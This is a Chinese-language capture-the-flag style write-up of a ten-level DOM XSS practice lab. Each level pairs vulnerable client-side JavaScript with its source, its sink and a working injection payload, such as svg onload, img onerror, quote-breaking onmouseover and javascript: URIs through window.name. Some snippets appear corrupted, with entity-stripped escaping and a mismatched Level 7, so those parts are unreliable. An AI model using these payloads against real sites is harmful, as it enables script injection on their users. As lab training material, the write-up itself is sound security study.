XSS靶机实践
Level 1
let hash = location.hash; if (hash.length > 1) { let hashValueToUse = unescape(hash.substr(1)); let msg = "Welcome " + hashValueToUse + "!!"; document.getElementById("msgboard").innerHTML = msg; }
Sink: innerHTML
Source: location.hash
Solution: <svg/onload=alert(1)>
Level 2
let rfr = document.referrer; let paramValue = unescape(getPayloadParamValueFromUrl(rfr)); if (paramValue.length > 0) { let msg = "Welcome <b>" + paramValue + "</b>!!"; document.getElementById("msgboard").innerHTML = msg; } else { document.getElementById("msgboard").innerHTML = "Parameter named <b>payload</b> was not found in the referrer."; }
Sink: innerHTML
Source: document.referrer
Solution: https://domgo.at/cxss/example/1?payload=%3Csvg/onload=alert(1)%3E&sp=x#12345
先访问这个url然后点击example 2的链接。payload在referrer里。
Level 3
let responseBody = xhr.responseText; let responeBodyObject = JSON.parse(responseBody); let msg = "Welcome <b>" + responeBodyObject.payload + "</b>!!"; document.getElementById("msgboard").innerHTML = msg;
Sink: innerHTML
Source: Ajax
Solution: <img src=xx onerror=#alert(1)>去掉alert前的#
Ajax请求的response在客户端浏览器解析,并直接写在innerHTML的DOM中。(牛客的markdown有问题)
Level 4:
let ws = new WebSocket(webSocketUrl); ws.onmessage = function (evt) { let rawMsg = evt.data; let msgJson = JSON.parse(rawMsg); let msg = "Welcome <b>" + msgJson.payload + "</b>!!"; document.getElementById("msgboard").innerHTML = msg; };
Sink: innerHTML
Source: Web Sockets
Solution: 去掉alert前的#
Web socket的response在客户端解析后直接写入DOM。
Level 5
window.onmessage = function (evt) {
let msgObj = evt.data;
let msg = "Welcome " + msgObj.payload + "!!";
document.getElementById("msgboard").innerHTML = msg;
};
Sink: innerHTML
Source: Post message
Solution: 去掉alert前的#
HTML5 post message data直接写入DOM
牛客上markdown编辑器是否应该使用白名单,以防客户端xss,比如去掉alert前的#
markdown编辑器的xss漏洞:https://www.freebuf.com/articles/web/58687.html
Level 6
let payloadValue = localStorage.getItem("payload", payload); let msg = "Welcome " + payload + "!!"; document.getElementById("msgboard").innerHTML = msg;
Sink: innerHTML
Source: localStorage
Solution:
LocalStorage的数据在解析后写在DOM里。
Level 7
let hash = location.hash;
let hashValueToUse = hash.length > 1 ? unescape(hash.substr(1)) : hash;
hashValueToUse = hashValueToUse.replace(/</g, "<").replace(/>/g, ">");
let msg = "Welcome!!";
document.getElementById("msgboard").innerHTML = msg;
Sink: innerHTML
Source: location.hash
Solution: #'%20onmouseover=alert(1)//
location.hash的值未经处理直接写入href。单引号闭合后加上on*事件即可。
Level 8
let hash = location.hash; let hashValueToUse = hash.length > 1 ? unescape(hash.substr(1)) : hash; if (hashValueToUse.indexOf("=") > -1 ) { hashValueToUse = hashValueToUse.substr(hashValueToUse.indexOf("=")+1); hashValueToUse = hashValueToUse.replace(/</g, "<").replace(/>/g, ">"); let msg = "<a href='#user=" + hashValueToUse + "'>Welcome</a>!!"; document.getElementById("msgboard").innerHTML = msg; }
Sink: innerHTML
Source: location.hash
Solution: #='%20onmouseover=alert(1)//
写在等号后的会被写入DOM作为href标签的一部分。使用on*事件即可。
Level 9
let hash = location.hash; let hashValueToUse = hash.length > 1 ? unescape(hash.substr(1)) : hash; if (hashValueToUse.indexOf("=") > -1 ) { hashValueToUse = hashValueToUse.substr(hashValueToUse.indexOf("=") + 1); if (hashValueToUse.length > 1) { hashValueToUse = hashValueToUse.substr(0, 10); hashValueToUse = hashValueToUse.replace(/"/g, """); let windowValueToUse = window.name.replace(/"/g, """); let msg = "<a href=\"" + hashValueToUse + windowValueToUse + "\">Welcome</a>!!"; document.getElementById("msgboard").innerHTML = msg; } }
Sink: innerHTML
Source: window.name + location.hash
Solution:
<script> var victim= window.open('https://domgo.at/cxss/example/9#user=javascript', ':alert(1)'); </script> # Level 10:
let urlParts = location.href.split("?");
if (urlParts.length > 1) {
let queryString = urlParts[1];
let queryParts = queryString.split("&");
let userId = "";
for (let i = 0; i < queryParts.length; i++) {
let keyVal = queryParts[i].split("=");
if (keyVal.length > 1) {
if (keyVal[0] === "user") {
userId = keyVal[1]; break; } } } if (userId.startsWith("ID-")) { userId = userId.substr(3, 10); userId = userId.replace(/"/g, """); let windowValueToUse = window.name.replace(/"/g, """); let msg = "<a href=\"" + userId + windowValueToUse + "\">Welcome</a>!!"; document.getElementById("msgboard").innerHTML = msg; }
}
Sink: innerHTML Source: window.name + user (GET parameter) Solution: <script> var victim= window.open('https://domgo.at/cxss/example/10?lang=en&user=ID-javascript', ':alert(1)'); </script>
Here, the value of GET parameter user is extracted and written into the DOM along with the window.name property inside an href tag. Since we are dealing with URL context, we can inject javascript: URI just like the last challenge.